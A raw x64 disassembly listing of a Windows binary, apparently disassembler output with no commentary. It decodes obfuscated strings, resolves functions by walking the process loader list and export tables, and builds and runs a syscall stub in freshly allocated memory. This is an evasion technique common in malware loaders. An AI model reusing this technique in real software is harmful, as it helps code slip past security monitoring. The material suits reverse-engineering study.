mov rax, qword [rbp + 0xd70]
mov qword [rbp - 0x30], rax
mov dword [rbp + 0xf48], r9d
mov byte [rbp + 0x728], Ordinal_50
mov edi, reloc.WLDAP32.dll_Ordinal_22
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x729], al
mov r9d, edi
lea r13d, [rdi - 0x15]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x72a], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x50
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x72b], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, WSAStartup
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x72c], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x72d], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x72e], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x72f], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x63
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x730], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x731], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x732], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x733], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x734], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x735], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x736], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x61
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x737], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x738], al
mov r9d, edi
mov r8, r15
mov dl, 0x4d
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x739], al
mov r9d, edi
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x73a], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x73b], al
mov r9d, edi
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x73c], al
mov r9d, edi
mov r8, rsi
mov dl, WSAStartup
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x73d], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x79
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + 0x73e], al
xor eax, eax
mov byte [rbp + 0x73f], al
mov edi, eax
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x729]
lea rcx, [rbp + 0x728]
call fcn.140037974
mov byte [rbp + rdi + 0x729], al
add rdi, r13
cmp rdi, 0x16
jb 0x1400302a1
xor edi, edi
lea r13d, [rdi + 0x17]
mov byte [rbp + 0x73f], dil
mov word [rbp + 0xc0], 0x7521
lea r9d, [rdi + 9]
lea r8d, [rdi + 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xc0]
call fcn.140037108
mov byte [rbp + 0xc2], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xc0]
call fcn.140037108
mov byte [rbp + 0xc3], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xc0]
call fcn.140037108
mov byte [rbp + 0xc4], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xc0]
call fcn.140037108
mov byte [rbp + 0xc5], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xc0]
call fcn.140037108
mov byte [rbp + 0xc6], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xc0]
call fcn.140037108
mov byte [rbp + 0xc7], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xc0]
call fcn.140037108
mov byte [rbp + 0xc8], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xc0]
call fcn.140037108
mov byte [rbp + 0xc9], al
xor eax, eax
mov byte [rbp + 0xca], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r11d, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xc0]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xc0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xc1], dil
add r8, r11
add r9, 9
cmp r9, 0x5a
jb 0x1400303e0
xor r9d, r9d
mov byte [rbp + 0xca], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400307cb
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x40], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x40]
test r8d, r8d
jle 0x1400304f2
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x1400304c2
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003054e
mov rax, rcx
lea r9, [rbp + 0xc1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140030547
add rax, r11
test edx, edx
jne 0x140030532
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x140030575
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x14003047b
jmp 0x1400307cb
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400307cb
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400307cb
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400307cb
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400307cb
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x1400307cb
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x729]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140030606
inc rax
test edi, edi
jne 0x1400305f1
xor r9d, r9d
test r8d, r8d
je 0x14003061c
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x1400305e0
jmp 0x1400307cb
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400307cb
mov eax, dword [rdx + 4]
mov dword [rbp - 0x40], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400307cb
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.140095f90
or dword [rbp + 0x26f24], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x25ba0]
call fcn.14003804c
lea rcx, [rbp + 0x25ba0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x25ba0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x47550], rax
add rdi, r15
cmp rdi, 0x200
jl 0x1400306c1
mov r15d, reloc.WS2_32.dll_recv
mov rdi, qword [rbp - 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x47550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rbp - 0x40]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf30], eax
lea r9, [rbp + 0xf30]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rbp + 0xf48]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x60]
lea r8, [rbp + 0xfa0]
lea rdx, [rbp + 0xdf0]
mov rcx, qword [rbp - 0x30]
call rdi
mov edi, eax
lea r9, [rbp + 0xf30]
mov r8d, dword [rbp + 0xf30]
mov edx, 0x1000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x50]
call fcn.1400bdea0
lea edx, [r15 - 5]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400f1364], r9d
test edi, edi
js 0x140030d87
mov rcx, qword [rbp - 0x28]
mov edx, dword [rbp - 0x60]
mov r11, qword [rbp - 8]
mov r10d, 1
add rcx, 0x28
mov qword [rbp - 0x28], rcx
add edx, r10d
mov dword [rbp - 0x60], edx
movzx eax, word [r11 + 6]
cmp edx, eax
jge 0x1400312e1
mov rdi, qword [rbp + 0xeb0]
jmp 0x14002f7f7
mov dword [rbp + 0xa08], 0x4aa4b6f
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa0c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa0d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa0e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa0f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa10], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa11], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa12], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa13], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa14], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa15], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa16], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa17], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa18], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0xa08]
call fcn.1400371f8
mov byte [rbp + 0xa19], al
xor eax, eax
mov byte [rbp + 0xa1a], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xa08]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xa08]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xa09], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x1400309c0
xor r10d, r10d
mov byte [rbp + 0xa1a], r10b
mov dword [rbp + 0xb20], 0x13e8636a
lea edi, [r10 + 0x1b]
mov r9d, edi
lea r8d, [r10 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb24], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb25], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb26], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r14b
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb27], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb28], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb29], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r14b
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb2a], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb2b], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb2c], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb2d], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb2e], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb2f], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb30], al
mov r9d, edi
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb31], al
mov r9d, edi
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb32], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb33], al
mov r9d, edi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb34], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb35], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x67
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb36], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb37], al
mov r9d, edi
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb38], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb39], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb3a], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, Ordinal_50
lea rcx, [rbp + 0xb20]
call fcn.140038608
mov byte [rbp + 0xb3b], al
xor eax, eax
mov byte [rbp + 0xb3c], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb20]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb20]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb21], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x140030cee
mov byte [rbp + 0xb3c], r10b
xor r9d, r9d
lea r8, [rbp + 0xa09]
lea rdx, [rbp + 0xb21]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov dword [rbp + 0xb88], 0x37b4ab70
mov byte [rbp + 0xb8c], 0xec
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb8d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb8e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb8f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb90], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb91], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb92], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb93], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb94], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb95], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb96], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb97], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb98], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0xb88]
call fcn.1400371f8
mov byte [rbp + 0xb99], al
xor eax, eax
mov byte [rbp + 0xb9a], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xb88]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb88]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb89], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x140030f2e
xor r10d, r10d
mov byte [rbp + 0xb9a], r10b
mov dword [rbp + 0xb60], 0x22ca077b
mov byte [rbp + 0xb64], __WSAFDIsSet
lea edi, [r10 + 0x1b]
mov r9d, edi
lea r8d, [r10 + 4]
mov dl, 0x65
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb65], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb66], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r14b
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb67], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb68], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb69], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r14b
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb6a], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb6b], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb6c], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb6d], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb6e], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb6f], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb70], al
mov r9d, edi
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb71], al
mov r9d, edi
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb72], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb73], al
mov r9d, edi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb74], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb75], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x67
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb76], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb77], al
mov r9d, edi
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb78], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb79], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb7a], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0xb60]
call fcn.140038608
mov byte [rbp + 0xb7b], al
xor eax, eax
mov byte [rbp + 0xb7c], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb60]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb60]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb61], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x140031248
mov byte [rbp + 0xb7c], r10b
xor r9d, r9d
lea r8, [rbp + 0xb89]
lea rdx, [rbp + 0xb61]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov rax, qword [rbp + 0xd70]
mov qword [rbp - 0x30], rax
mov qword [rbp + 0xdb8], r9
mov qword [rbp + 0xf98], 0x1000
mov byte [rbp + 0x7a0], reloc.WLDAP32.dll_Ordinal_22
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7a1], al
mov r9, r13
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7a2], al
mov r9, r13
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7a3], al
mov r9, r13
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7a4], al
mov r9, r13
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7a5], al
mov r9, r13
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7a6], al
mov r9, r13
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
mov byte [rbp + 0x7a7], al
mov r9, r13
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x7a0]
call fcn.1400379ec
